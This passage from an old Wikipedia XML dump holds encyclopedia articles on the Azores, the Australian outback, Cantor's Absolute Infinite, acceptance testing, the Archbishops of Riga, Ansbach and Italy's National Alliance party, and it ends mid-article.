|[[Faial Island]]
| align=right | 14,934
| [[Horta]]
| align=center | 1
|-
|[[Pico Island]]
| align=right | 14,579
| [[Madalena]]
| align=center | 3
|-
|[[São Jorge Island]]
| align=right | 9,522
| [[Velas]]
| align=center | 2
|-
|[[Santa Maria Island]]
| align=right | 5,490
| [[Vila do Porto]]
| align=center | 1
|-
|[[Graciosa Island]]
| align=right | 4,708
| [[Santa Cruz da Graciosa]]
| align=center | 1
|-
|[[Flores Island, Portugal|Flores Island]]
| align=right | 3,949
| [[Santa Cruz das Flores]]
| align=center | 2
|-
|[[Corvo Island]]
| align=right | 435
| [[Vila do Corvo]]
| align=center | 1
|}
&lt;br clear=all&gt;
== See also ==
{{commons|The Azores}}

* [[Postage stamps and postal history of the Azores]]
* [[Madeira]]

== External links ==

* [http://www.drtacores.pt/index2.html Azores Tourism Board]
* [http://www.azores.com Azores.com]

* [http://www.flickr.com/photos/vitor107/sets/1259848/ Photos from AZORES]


[[Category:Azores Islands|Azores Islands]]
[[Category:Azores|Azores]]
[[Category:NUTS 2 Statistical Regions of Europe]]
[[Category:Ridge volcanoes]]
[[Category:Special territories of the European Union]]
[[Category:Volcanoes by region]]
[[Category:Volcanoes of Portugal]]
[[Category:Volcanoes of the Atlantic Ocean]]

[[bg:Азорски острови]]
[[ca:Açores]]
[[da:Açorerne]]
[[de:Azoren]]
[[et:Assoorid]]
[[el:Αζόρες]]
[[es:Azores]]
[[eo:Acoroj]]
[[fr:Açores]]
[[gl:Azores - Açores]]
[[ko:아소르스 제도]]
[[id:Azores]]
[[ia:Azores]]
[[is:Asóreyjar]]
[[it:Azzorre]]
[[he:האיים האזוריים]]
[[la:Azores]]
[[lt:Azorai]]
[[nl:Azoren]]
[[ja:アゾレス諸島]]
[[no:Azorene]]
[[nn:Azorane]]
[[oc:Açòras]]
[[pl:Azory]]
[[pt:Açores]]
[[ro:Azore]]
[[ru:Азорские острова]]
[[sk:Azory]]
[[fi:Azorit]]
[[sv:Azorerna]]
[[uk:Азорські острови]]
[[zh:亚速尔群岛]]</text>
    </revision>
  </page>
  <page>
    <title>Acores</title>
    <id>3227</id>
    <revision>
      <id>15901588</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>Dreamyshade</username>
        <id>32</id>
      </contributor>
      <minor />
      <comment>redirect to azores</comment>
      <text xml:space="preserve">#REDIRECT [[Azores]]
</text>
    </revision>
  </page>
  <page>
    <title>Outback</title>
    <id>3229</id>
    <revision>
      <id>41708956</id>
      <timestamp>2006-03-01T05:19:09Z</timestamp>
      <contributor>
        <username>Frances76</username>
        <id>490970</id>
      </contributor>
      <minor />
      <comment>/* Medicine In The Outback */ -fix wikilink</comment>
      <text xml:space="preserve">{{otheruses}}

[[image:Yalgoo Shire.jpg|thumb|right|350px|a [[Tourism|tourism]] sign post [[Yalgoo, Western Australia]]]]
The '''outback''' is the remote and usually semi-arid interior of [[Australia]], although the term colloquially can cover any lands outside of the main urban areas. The term outback is generally used to refer to locations that are comparatively more remote than those areas deemed &quot;[[The Bush|the bush]]&quot;. The outback does not officially exist within any governmental frameworks or boundaries.  Many local government shires do use the term to enhance tourist appeal for their own shire. 

The marginally fertile parts are known as [[Rangeland]]s and have been traditionally used for [[domestic sheep|sheep]] or [[cattle]] farming, on [[sheep station]]s and [[cattle station]]s on [[pastoral lease]]s.  

Along with agriculture, [[tourism]] and scattered [[mining]] are the main economic activities in this vast and sparsely settled area. Due to the size of the outback, the total value of mining and farming is considerable.

== Population ==
[[Image:Rural Australia Abandoned habitat.jpg|thumb|right|200px|An abandoned settlement in the outback]]

Over 90% of the Australian population lives in urban settlements on the coastal fringes. Despite this, the outback and the history of its [[exploration]] and settlement provides Australians with a mythical backdrop, and stories of [[swagman|swagmen]], [[squatter]]s, outlaws such as [[Ned Kelly]] (though Ned Kelly spent virtually all his time in the relatively temperate [[Great Dividing Range]]) and so on are central to the national ethos of the country. The song [[Waltzing Matilda]], which is about swagmen and squatters, is a popular traditional Australian song.

There have been various attempts at creating settlements for [[Australian Aboriginals]] to live traditionally, with varied success. Often after becoming used to European influences and generational changes it is difficult for Aboriginals to live this kind of lifestyle.

==Medicine In The Outback==
Due to the wide expanses and remoteness of people when in the outback; a unique service by the name of [[Royal_Flying_Doctor_Service_of_Australia|The Flying Doctors]] was created.  This service was created in [[1928]] in [[Cloncurry, Queensland]].  The aim of the service is to provide medical care, primary and emergency, to people who cannot reach a [[hospitals]] or [[general practitioner]]s.  Consultations are carried out via radio or telephone and for serious situations, doctors are flown out to patients.

==Terminology==
Culturally, many urban Australians have had very generalised terms for the otherwise complex range of environments that exist within the inland sections of the continent. Regional terminology can be very specific to specific locations in each mainland state. Western Australians have for instance 'the goldfields' which usually designate [[Kalgoorlie]] and beyond.
 
&quot;The Never-Never&quot; is a term referring to remoter parts of the Australian outback. The outback can be also referred to as &quot;back of beyond&quot;,  &quot;back o' Bourke&quot; or &quot;way out past Bumblefuck&quot;, although these terms are more frequently used when referring to something a long way from anywhere, or a long way away.

==Tourism==

[[Image:Outback.jpg|thumb|right|Flying over western [[New South Wales]]. Near the bottom of the picture, a squiggly line appears; apparently, a [[creek]] created by recent [[rain]].]]
There are many popular tourist attractions in the outback. These include:

*[[Alice Springs]]
*[[Uluru|Uluru (Ayers Rock)]]
*[[Coober Pedy]]
*[[Devils Marbles]]
*[[Katherine River|Katherine River Gorge]]
*[[Kings Canyon, Northern Territory|Kings Canyon (Watarrka)]]
*[[Kata Tjuta|The Olgas (Kata Tjuta)]]
*[[MacDonnell Ranges]]
*[[Australian Stockman's Hall of Fame]]
*[[Monkey Mia]]
*[[Broome, Western Australia|Broome]]
*[[Mount Augustus National Park]]

Organised travel to the outback is popular, although some Australian and international tourists travel in their own vehicles. Such a trip, particularly once off the few bitumen roads in the outback, requires considerable advance planning and a suitable vehicle (usually a [[four wheel drive]]). On remote routes considerable supplies and equipment may be required, this can included prearranged caches. Some trips cannot be undertaken safely with a single vehicle instead requiring a convoy approach. Deaths from tourists and locals becoming stranded on outback trips occur, and rescues for the ill-prepared are a regular occurrence.

==Historic==
The outback is also criss-crossed by numerous historic tracks, roads and highways, including:
[[Image:Gibb River Rd-1.jpg|right|500px]]
* [[Birdsville Track]]
* [[Burke Developmental Road]]
* [[Canning Stock Route]]
* [[Colson Track]]
* [[Connie Sue Highway]]
* [[French Line]]
* [[Gary Highway]]
* [[Gibb River Road]]
* [[Gunbarrel Highway]]
* [[K1 Line]]
* [[Kalumburu Road]]
* [[Kidson Track]]
* [[Oodnadatta Track]]
* [[Peninsula Developmental Road]]
* [[Plenty Highway]]
* [[Rig Road]]
* [[Sandover Highway]]
* [[Strzelecki Track]]
* [[Tallawana Track]]
* [[Tanami Track]]
* [[WAA Line]]
*

==External links==
*Photography Galleries
**[http://www.synaptic.bc.ca/gallery/uluru.htm Uluru (Ayers Rock)]
**[http://www.synaptic.bc.ca/gallery/devilmar.htm Devils Marbles]
**[http://www.synaptic.bc.ca/gallery/katherin.htm Katherine River Gorge]
**[http://www.synaptic.bc.ca/gallery/kingscan.htm Kings Canyon (Watarrka)]
**[http://www.synaptic.bc.ca/gallery/katatjut.htm The Olgas (Kata Tjuta)]
**[http://www.australiaphotography.com/australia/images/coober/coober.php Coober Pedy]

[[Category:Plains]]
[[Category:Regions of Australia]]

[[de:Outback]]
[[es:Outback]]
[[ja:&amp;#12450;&amp;#12454;&amp;#12488;&amp;#12496;&amp;#12483;&amp;#12463;]]</text>
    </revision>
  </page>
  <page>
    <title>Atomic weight</title>
    <id>3230</id>
    <revision>
      <id>15901591</id>
      <timestamp>2004-12-06T02:47:46Z</timestamp>
      <contributor>
        <username>Eric119</username>
        <id>7110</id>
      </contributor>
      <comment>#REDIRECT [[Atomic mass]]</comment>
      <text xml:space="preserve">#REDIRECT [[Atomic mass]]</text>
    </revision>
  </page>
  <page>
    <title>Absolute Infinite</title>
    <id>3231</id>
    <revision>
      <id>41629385</id>
      <timestamp>2006-02-28T17:15:38Z</timestamp>
      <contributor>
        <username>Trovatore</username>
        <id>310173</id>
      </contributor>
      <comment>/* See also */ limitation of size</comment>
      <text xml:space="preserve">The '''Absolute Infinite''' is  [[Georg Cantor]]'s concept of an &quot;[[infinity]]&quot; that transcended the [[transfinite number]]s.  Cantor equated the Absolute Infinite with [[God]].  He held that the [[The Absolute|Absolute]] [[Infinite]] had various [[mathematical]] properties, including that every property of the Absolute Infinite is also held by some smaller object.

== Cantor's view ==

Cantor is quoted as saying:

:The actual infinite arises in three contexts: first when it is realized in the most complete form, in a fully independent otherworldly being, ''in Deo'', where I call it the Absolute Infinite or simply Absolute; second when it occurs in the contingent, created world; third when the mind grasps it ''in abstracto'' as a mathematical magnitude, number or order type. [2]

Cantor also mentioned the idea in his famous letter to [[Richard Dedekind]] [[28 July]] [[1899]] [[#Endnotes|&lt;sup&gt;*&lt;/sup&gt;]]:

:A [[multiplicity]] is called [[well-ordered]] if it fulfills the condition that every sub-multiplicity has a first [[element (mathematics)|element]]; such a multiplicity I call for short a sequence. Now I envisage the system of all numbers and denote it ''&amp;Omega;''. The system ''&amp;Omega;'' in its natural ordering according to magnitude is a &quot;sequence&quot;. Now let us adjoin 0 as an additional element to this sequence, and certainly if we set this 0 in the first position then ''&amp;Omega;''* is still a sequence ... of which one can readily convince oneself that every number occurring in it is the [ordinal number] of the sequence of all its preceding elements. Now ''&amp;Omega;''* (and therefore also ''&amp;Omega;'') cannot be a consistent multiplicity. For if ''&amp;Omega;''* were consistent, then as a well-ordered set, a number ''&amp;Delta;'' would belong to it which would be greater than all numbers of the system ''&amp;Omega;''; the number ''&amp;Delta;'', however, also belongs to the system ''&amp;Omega;'', because it comprises all numbers. Thus ''&amp;Delta;'' would be greater than ''&amp;Delta;'', which is a contradiction. Thus the system ''&amp;Omega;'' of all ordinal numbers is an inconsistent, '''absolutely infinite''' multiplicity.&quot;

== The Burali-Forti paradox ==

The idea that the collection of all ordinal numbers cannot logically exist, seems [[paradoxical]] to many. This is related to [[Burali-Forti paradox |Cesare Burali-Forti's &quot;paradox&quot;]] that there can be no greatest [[ordinal number]]. All of these problems can be traced back to the idea that, for every property that can be logically defined, there exists a set of all objects that have that property. However, as in Cantor's argument (above), this idea leads to difficulties.

More generally, as noted by [[A.W. Moore]], there can be no end to the process of [[set (mathematics)|set]] formation, and thus no such thing as the ''totality of all sets'', or the ''set hierarchy''.  Any such totality would itself have to be a set, thus lying somewhere within the [[hierarchy]] and thus failing to contain every set.

A standard solution to this problem is found in [[Zermelo set theory|Zermelo's set theory]], which does not allow the unrestricted formation of sets from arbitrary properties. Rather, we may form the set of all objects that have a given property ''and lie in some given set'' (Zermelo's [[Axiom schema of specification|Axiom of Separation]]). This allows for the formation of sets based on properties, in a limited sense, while (hopefully) preserving the consistency of the theory.

However, while this neatly solves the logical problem, the philosophical problem remains. It seems natural that a set of individuals ought to exist, so long as the individuals exist. Indeed in a naïve sense, [[set theory]] might be said to be based on this notion. Zermelo's fix would seem to commit us to the rather mysterious notion of a ''[[proper class]]'': a class of objects that does not have any formal existence, as an object (set), within our theory. For example, the class of all sets would be such a proper class.

==Endnotes==
&lt;sup&gt;*&lt;/sup&gt; Ivor Grattan-Guinness has shown that this &quot;letter&quot; is really an amalgam by Cantor's editor [[Ernst Zermelo]] of several letters written at different times (I. Grattan-Guinness, &quot;The rediscovery of the Cantor-Dedekind Correspondence&quot;, ''Jahresbericht der deutschen Mathematik-Vereinigung'' 76, 104-139

== See also ==

* [[The Absolute]]
* [[Class (set theory)]]
* [[Gödel's ontological proof]]
* [[Infinity]]
* [[Limitation of size]]
* [[The Ultimate]]

== References ==

* [1] [[Rudy Rucker]], ''Infinity and the Mind'', Princeton University Press, 1995.
* [2] Ruckerbook ''[[Mind Tools]]''
* [3] Heijenoort 1967 
* [4] Moore, A.W.  ''The Infinite'', New York, Routledge, 1990
* [5] Moore, A.W.  &quot;Set Theory, Skolem's Paradox and the Tractatus&quot;, ''Analysis'' 1985, 45
* [6] G. Cantor, 1932. ''Gesammelte Abhandlungen mathematischen und philosophischen Inhalts.'' E. Zermelo, Ed. Berlin: Springer; reprinted Hildesheim: Olms, 1962; Berlin/Heidelberg/New York: Springer, 1980.

[[Category:Philosophy of mathematics]]
[[Category:Theology]]
[[Category:Infinity]]

[[nl:Absoluut oneindige]]</text>
    </revision>
  </page>
  <page>
    <title>Anthropic Principle</title>
    <id>3232</id>
    <revision>
      <id>15901593</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anthropic principle]]
</text>
    </revision>
  </page>
  <page>
    <title>Acceptance test</title>
    <id>3233</id>
    <revision>
      <id>34152228</id>
      <timestamp>2006-01-06T20:28:13Z</timestamp>
      <contributor>
        <username>Panzi</username>
        <id>65160</id>
      </contributor>
      <text xml:space="preserve">[''noun phrase''] An '''acceptance test''' in [[engineering]] is a test that a user/sponsor and manufacturer/producer jointly perform on a finished, engineered [[product]]/[[system]] through [[black-box testing]] (i.e., the user or tester need not know anything about the internal workings of the system). It is often referred to as a(n) ''functional test'', ''[[beta test]]'', ''QA test'', ''application test'', ''confidence test,'' ''final test,'' or ''end user test''. It is also sometimes split into a ''factory acceptance test'' and/or a ''site or field acceptance test'', the former being run within the manufacturer's facilities, the latter at the user's site, within the user's environment.

[''verb phrase''] To test a manufactured, engineered system and, based on the results, either grant or not grant acceptance of the system by the sponsor/user from the manufacturer/producer.  

Acceptance tests generally take the form of a suite of tests designed to be run on the completed system. Each individual test exercises a particular operating condition of the user's environment, or a feature of the system, known as a case. And each test case has a [[boolean]] outcome: pass or fail. There is generally no degree of success or failure. The test environment is usually designed to be identical, or as close as possible, to the anticipated user's environment. These case tests must each be accompanied by test case input data and/or a formal description of the operational activities to be performed— intended to thoroughly exercise the specific case— and a formal description of the expected results. The acceptance test (suite) is run against the supplied input data and/or an actual environment using an acceptance test script to direct the testers, and the results obtained are compared with the expected results. If there is a correct match for every case, the test is said to pass. If not, the system may either be rejected or accepted on conditions previously agreed between the sponsor and the manufacturer.

The objective is to provide confidence that the delivered system meets the business requirements of the sponsors and users. The acceptance phase may also act as the final quality gateway, where any quality defects not previously detected may be uncovered.

A principal purpose of the acceptance test is that, once completed successfully, and provided certain additional (contractually agreed) acceptance criteria are met, the sponsors will then sign off on the system as satisfying the contract (previously agreed between sponsor and manufacturer), and deliver final payment.  

[[Category:Systems testing]] [[Category:software testing]]
[[de:Akzeptanztest]]</text>
    </revision>
  </page>
  <page>
    <title>Archbishop of Riga</title>
    <id>3234</id>
    <revision>
      <id>23901316</id>
      <timestamp>2005-09-24T09:37:48Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">The '''Archbishops of Riga''' (1202) 1255-1561 were the secular rulers of [[Riga]], the capital of [[Livonia]] (now known as  [[Latvia]]). It was abolished in 1561 due to the conversion of the territory of the Livonian Order from Catholicism to [[Lutheranism]]. The see was restored as a bishopric of the Catholic Church in 1918 and raised into an archbishopric in 1923.

==Bishops and Archbishops of Riga==

===The Bishopric of Riga, 1186-1255===
 
*Meinhard, 1186 - 1196
*Berthold, 1196 - 1198 
*[[Albert of Buxhoeveden]], 1199-1229 
*Nikolaus von Nauen 1229 - 1253

===The Archbishopric of Riga, 1255-1561=== 

*[[Albert Suerbeer]] 1245 - 1273 
*Johannes I von Lune, 1273 - 1284 
*Johannes II von Vechten, 1285 - 1294 
*Johannes III von Schwerin, 1294 -1300
*Isarnus Takkon, 1300 - 1302, 
*Friedrich von Pernstein, 1304 - 1341
*Engelbert von Dolen, 1341 - 1347
*Bromhold von Vyffhusen, 1348 - 1369
*Siegfried Blomberg 1370 - 1374
*Johannes IV von Sinten, 1374 - 1393. 24.IX)
*Johannes V von Wallenrodt, 1393 - 1418
*Johannes VI Ambundi, 1418-1424 
*Henning Scharpenberg, 1424-1448 
*Silvester Stodewescher, 1448-1479 
*Sede Vacante (empty seat), 1479-1484 
*Michael Hildebrand, 1484-1509 
*Jasper Linde, 1509-1524 (due to [[deflation (economics)|deflation]], no coins were minted during the reign of Jasper Linde; biographical data exists in alternate formats)
*Johannes VII Blankenfeld, 1524-1527 (due to deflation, no coins were minted during the reign of Johannes VII Blankenfeld; biographical data exists in alternate formats) 
*Thomas Schoning, 1528-1539 
*[[William of Brandenburg|Wilhelm of Brandenburg]], 1539-1563

''See secularized 1563, restored 1918.''

===Restored Bishopric of Riga, 1918-1923===
*Eduard Graf O'Rourke, 1918-1920

===Archbishopric of Riga, 1923-present===
*Antonijs Spingovics, 1920-1958
''vacant''
*[[Janis Cardinal Pujats|Jānis Pujāts]], 1991-present

== The coinage == 

The '''Archbishops of Riga'''  were innovators in the field of minting currency, reviving techniques abandoned since the collapse of [[Rome]]. The names of individual archbishops after 1418, as well as the years of their respective reigns, are stamped on Livonian [[penny|pennies]] excavated at archaeological sites; in many cases, this is the only biographical data available. No Livonian pennies before 1418 have been found.

More information about the role of the Archbishopric of Riga in the history of coinage is available at http://department.monm.edu/history/urban/articles/COINS.htm

[[Category:Prince-Bishops|Riga]]
[[Category:Roman Catholic archbishops by diocese|Riga]]
[[Category:History of Latvia]]
[[de:Liste der Erzbischöfe von Riga]]
[[lv:Rīgas arhibīskapija]]
[[pl:Archidiecezja ryska]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Frederick</title>
    <id>3235</id>
    <revision>
      <id>39868137</id>
      <timestamp>2006-02-16T12:13:18Z</timestamp>
      <contributor>
        <username>Mathiasrex</username>
        <id>776781</id>
      </contributor>
      <text xml:space="preserve">'''Albert Frederick''' ([[1553]]-[[1618]]) was duke of [[Prussia]] from [[1568]] until his death. He was the second and last Prussian duke of the [[Ansbach]] branch of the [[Hohenzollern]] family. At his death the dukedom passed to the Hohenzollern rulers of [[Brandenburg]], combining the two territories under a single dynasty.

[[Category:1553 births|Frederick, Albert]]
[[Category:1618 deaths|Frederick, Albert]]
[[Category:House of Hohenzollern]]

[[de:Albrecht Friedrich von Preußen]]
[[pl:Albrecht Fryderyk Hohenzollern]]
[[sv:Albrekt Fredrik av Preussen]]</text>
    </revision>
  </page>
  <page>
    <title>Ansbach</title>
    <id>3236</id>
    <revision>
      <id>40765926</id>
      <timestamp>2006-02-22T21:55:52Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Wikipedia URL→wikilink</comment>
      <text xml:space="preserve">{{dablink|See [[Ansbach, Austria]] for the Austrian town of the same name.}}
{{Infobox Town DE|
name = Ansbach|
name_local =  |
image_coa =  WappenAnsbach.jpg|
image_map =  Ansbach in Germany.png|
state = [[Bavaria]] |
regbzk = [[Mittelfranken]]|
district = [[List of German urban districts|urban district]]|
population = 40,723|
population_as_of = 2004|
pop_dens = 407|
area = 99.92 |
elevation = 409|
lat_deg = 49| 
lat_min = 18|
lat_hem = N|
lon_deg = 10|
lon_min = 35|
lon_hem = E|
postal_code = 91522|
area_code = 0981|
licence = AN|
mayor = Ralf Felber ([[SPD]])|
website = [http://www.ansbach.de/ ansbach.de]|
}}
'''Ansbach''', or '''Anspach''', originally '''Onolzbach''', is a town in [[Bavaria]], [[Germany]]. It is the capital of the [[Regierungsbezirk|administrative region]] of [[Mittelfranken|Middle Franconia]]. Ansbach is situated 25 miles southwest of [[Nuremberg]] and 90 miles north of [[Munich]], on the [[Fränkische Rezat]], a tributary of the [[Main]] river. Population: 40.723 (2004).

The city has five schools.  It is connected by motorway [[Bundesautobahn 6|A6]] and routes [[German route 13|13]] and [[German route 14|14]].

==History==
A Benedictine monastery at the place was founded around [[748]] by a [[Franconia]]n noble, [[Gumbertus]], who was later canonized. In the following centuries the monastery and the adjoining village (''Onoldsbach'') grew to become the town of Ansbach (called a town in [[1221]] for the first time).

The counts of [[Oettingen]] ruled over Ansbach until the [[Hohenzollern]] burgraves of Nuremberg took over in [[1331]]. The Hohenzollerns made Ansbach the seat of their dynasty until their acquisition of the [[Prince-elector|electorate]] of [[Brandenburg]] in [[1415]]. However, after the death of [[Frederick I, Margrave of Brandenburg]] in [[1440]] the Franconian cadet branch of the family was not politically united with the main Brandenburg line, remaining independent as &quot;Brandenburg-Ansbach.&quot; 

Margrave [[Georg, Margrave of Brandenburg-Ansbach|George the Pious]] introduced the [[Protestant Reformation]] to Ansbach in [[1528]], leading to the secularization of St. Gumbertus Abbey in [[1563]].

In [[1792]] Ansbach was annexed by the Hohenzollerns of [[Prussia]]. In 1796  the Duke of Zweibrücken, [[Maximilian I of Bavaria|Maximilian Joseph]], the posterior Bavarian king Max I. Joseph was exiled to Asnbach after Zweibrücken had been taken by the French. In Ansbach [[Maximilian von Montgelas]] wrote an elaborate concept for the future political organisation of Bavaria, which is known as the &quot;[http://www.hdbg.de/montgelas/pages/hmv33.htm Ansbacher Mémoire]&quot;. In [[1806]] [[Prussia]] ceded Ansbach and the principality of Ansbach to Bavaria in exchange for the Bavarian [[Berg (German region)|duchy of Berg]].

At the end of the [[17th century]], the margraves' palace at Ansbach was rebuilt in [[Baroque]] style. 

Since [[1970]], Ansbach has enlarged its municipal area by incorporating adjacent communities.

Ansbach was a small town largely by-passed by the [[Industrial Revolution]], an administrative and cultural center. Although all bridges were destroyed, the historical center of Ansbach was spared during [[World War II]] and it has kept its baroque character. 

Ansbach hosts several units of the U.S. armed forces, associated with German units under [[NATO]]. There are three separate U.S. installations: Shipton Kaserne, home to 6th Bn., 52nd Air Defense Artillery; Katterbach Kaserne, where the 1st Division's 4th Combat Aviation Brigade resides, associated with Bismarck Kaserne, where the post exchange, etc. are located, and Barton Barracks, home to the 235th BSB. 

==Boroughs==
*[[Eyb]], part of Ansbach since [[October 1]] [[1970]]
*[[Bernhardswinden]], part of Ansbach since [[July 1]] [[1972]]
*[[Brodswinden]], part of Ansbach since [[July 1]] [[1972]]
*[[Claffheim]], part of Ansbach since [[July 1]] [[1972]]
*[[Elpersdorf bei Ansbach]], part of Ansbach since [[July 1]] [[1972]]
*[[Hennenbach]], part of Ansbach since [[July 1]] [[1972]]
*[[Neuses bei Ansbach]], part of Ansbach since [[July 1]] [[1972]]
**[[Strüth (Ansbach)|Strüth]]
**[[Wasserzell (Ansbach)|Wasserzell]]
*[[Schalkhausen]], part of Ansbach since [[July 1]] [[1972]]
**[[Geisengrund]]
**[[Dornberg (Ansbach)|Dornberg]] 
**[[Neudorf (Ansbach)|Neudorf]]
**[[Steinersdorf]]

==Twinnings==
*[[Anglet]], [[France]]
*[[Bay City, Michigan]]

==Famous people==
[[Albert of Prussia]], Grand Master of the [[Teutonic Order]] and the first duke of [[Ducal Prussia]].

In the late [[16th century]], the physician to margrave Georg Friedrich was the famous botanist, [[Leonhart Fuchs]].

Ansbach was home of the astronomer [[Simon Marius]], who observed [[Jupiter (planet)|Jupiter's]] moons from the castle's tower. Later he claimed to be the discoverer of the moons, which led to a dispute with the true discoverer, [[Galileo Galilei]].

Ansbach was the birthplace of the early chemist, [[Georg Ernst Stahl]].

[[Caroline of Ansbach|Queen Caroline]] of Great Britain was born in Ansbach in [[1683]].

Two poets, [[Johann Peter Uz]] (1720-1796) and [[August Graf von Platen]] (1790-1835), were also born there.

[[Kaspar Hauser]] lived in Ansbach from [[1830]] to [[1833]]. He was murdered in the palace gardens.

== Sights ==
* Castle of the margraves of Brandenburg-Ansbach
* Margrave museum
* Kaspar Hauser Monument
* St. Gumbertus and St. Johannis churches, both 15th century

== References ==
* {{1911}}

== External links ==
*[http://www.ansbach.de Official Website] (German, English, French)
*[http://www.globalsecurity.org/military/facility/ansbach.htm Ansbach information]
*[http://www.ansbach.army.mil 235th Base Support Battalion - Ansbach Military Community] 
{{Germany_districts_bavaria}}

[[Category:Towns in Bavaria]]

[[de:Ansbach]]
[[es:Ansbach]]
[[gl:Ansbach]]
[[nl:Ansbach]]
[[no:Ansbach]]
[[pl:Ansbach]]
[[sv:Ansbach]]</text>
    </revision>
  </page>
  <page>
    <title>National Alliance (Italy)</title>
    <id>3237</id>
    <revision>
      <id>41374737</id>
      <timestamp>2006-02-26T22:48:02Z</timestamp>
      <contributor>
        <ip>82.156.71.144</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Italy_Political_Party |
  party_name     = National Alliance |
  party_name_italian  = Alleanza Nazionale |
  party_logo     = [[Image:Alleanza Nazionale.png|center|150px]] |
  party_status   = Italian National Party |
  leader = [[Gianfranco Fini]] |
  coalition = [[House of Freedoms]] |
  newspaper = [http://www.alleanzanazionale.it/secolo/ Il Secolo d'Italia]|
  ideology = [[Conservatism]] |
  website = [http://www.alleanzanazionale.it http://www.alleanzanazionale.it]
}}

'''National Alliance''' ([[Italian language|Italian]]: ''Alleanza Nazionale'', often shortened to ''AN'') is a right-wing [[Italy|Italian]] political party. It was formed by current secretary [[Gianfranco Fini]] from the [[Italian Social Movement]] (''MSI''), which was declared dissolved in January [[1995]], and conservative elements of the former [[Christian Democracy (Italy)|Christian Democracy]], which had disbanded in [[1994]] after two years of scandals and various splits due to [[Political corruption|corruption]] at its hightest levels, exposed by the [[Mani Pulite]] investigation. Former MSI members were however still the bulk of the new party.

The [[logo]] follows a template very similar to the [[Democratic Party of the Left]], with the previous logo in a small circle (as a means of legally preventing others from using it). The name was suggested by an article on the Italian newspaper ''Il Tempo'' written in 1992 by [[Domenico Fisichella]], and echoes the name of the left-wing [[Democratic Alliance (Italy)|Democratic Alliance]], a contemporary short-lived project of a lay centre-left coalition whose founder was [[Ferdinando Adornato]].

Its electorate is mainly in the central-southern regions, but it also competes in the north-east with the [[Lega Nord]], its ally in the ruling right center coalition [[Casa delle Libertà]]. The relationship of AN with the Northern League can be tense at times, especially about issues of national unity, but the two parties share views on other issues such as [[immigration]]; AN's view is normally more moderate than Lega Nord's.

==Political program==
AN's political program emphasizes:
* [[Catholicism]], close to the official [[Church]] position, also due to the participation of the former members of the Christian Democracy;
* [[law and order (politics)|law and order]], especially laws aimed at controlling [[immigration]] and promoting national cohesion, also due to the partitipation of the members of the former MSI.

Distinguishing itself from the MSI, AN has used the expression &quot;post-Fascist&quot; to characterise itself, and proclaims its commitment to [[constitutionalism]], [[democracy]] and [[political pluralism]]. However, while the uncontested leader Gianfranco Fini has been steering mostly clear of strong association to the fascist pasts, many high-ranking members (often dubbed ''colonels''), such as [[Ignazio La Russa]], have been caught in statements defending the combatants of the [[Repubblica Sociale Italiana]], the German [[puppet state]] in northern Italy during [[World War II]]. Some proposals have been laid out by members of AN to make the status of RSI [[veteran]]s equal to that of [[Italian resistance movement|partisan]]s, thus equating freedom fighters and Mussolini-loyalist fascist soldiers.

Alleanza Nazionale has distanced itself from [[Benito Mussolini]] and [[Fascism|fascism]] and made efforts to improve relations with [[Jew]]ish groups. With most hardliners leaving the party, it seeks to present itself as a respectable [[rightwing]] party.

Nearly two-thirds of the party's supporters approve of the [[capitalist]] system and hold favourable views on the [[privatisation]] of [[state industries]].

==History==
In January 1995, as officially Gianfranco Fini proclaimed MSI's dissolution, and the foundation of the AN, he announced the abandonment MSI's ideological stances, symbols, gestures and salutes that had closely identified it with the Mussolinian past.

Despite Fini's success in distancing the party's image from the former MSI, including the suppression of anti-Jewish comments in public and the party organ &quot;Il Secolo d'Italia&quot;, there remain contradictions within the party, mainly in regard to its fascist past.

A rare anti-Semitic manifestation was a March 1999 leaflet produced by the AN's [[Julius Evola]] Club in [[Sestu]] ([[Cagliari]]). The leaflet quoted alleged [[Talmud]]ic passages as proof that Jews compared [[gentile]]s to beasts. In response to protests, the local AN president claimed that the references were intended to be &quot;neither racist, nor anti-democratic nor anti-Jewish&quot;.

The AN club in [[Fiumicino]] (close to [[Rome]]), called for a square to be named after fascist leader [[Ettore Muti]], while the president of the region of [[Latium]], [[Francesco Storace]], asked that each city dedicate a street to [[Giorgio Almirante]], the predecessor of Fini as the leader of the now-defunct MSI, and a [[criminal of war]] during [[World War II]].

When Gianfranco Fini visited [[Israel]] in late November [[2003]] in the function of Italian deputy prime minister, he labeled the [[racial law]]s issued by the fascist regime in [[1938]] as &quot;infamous&quot;. He also referred to the RSI as belonging to the most shameful pages of the past, and considered fascism part of an era of &quot;absolute evil&quot;.

As a result, [[Alessandra Mussolini]], the granddaughter of the former fascist dictator [[Benito Mussolini]], and some hardliners left the party; she stated that &quot;absolute evil&quot; for her was piazzale Loreto, the square in [[Milan]] where her grandfather's remains were shown to the public in the final days of World War II.

==Government participation==
The party has taken part in the first three [[House of Freedoms]] coalition governments ([[1994]] and from [[2001]]) of prime minister [[Silvio Berlusconi]], in the second and third of which Fini is deputy prime minister and, from November [[2004]], [[foreign minister]].

==Electoral Results==
In [[1998]], it had a membership of 485,657 in 11,539 branches, 89 deputies and 41 senators in the [[Italian Parliament]] and nine members of the [[European Parliament]].

The AN suffered a 5 % loss in the [[1999]] elections to the European Parliament, obtaining only 10.3 % of the vote. It recovered somewhat in the April regional elections, gaining 12.8 % nationwide, and well over 20 % in Rome and Latium.

In the May [[2001]] national elections AN obtained 96 seats out of 630 in the Chamber of Deputies and 46 seats out of 324 in the Senate. The party lost a few key seats in the [[2003]] local elections such as the Province of Rome, but its position remained firm. The party obtained 11.5 % of the vote and 9 seats in the June [[2004]] European Parliament elections. In the [[2005]] regional elections AN lost almost all the remaining key seats, such as the Region of Lazio.

In the [[European Parliament]], its [[Member of the European Parliament|MEP]]s work within the group of the [[Union for a Europe of Nations]].

==July 2005 purge==
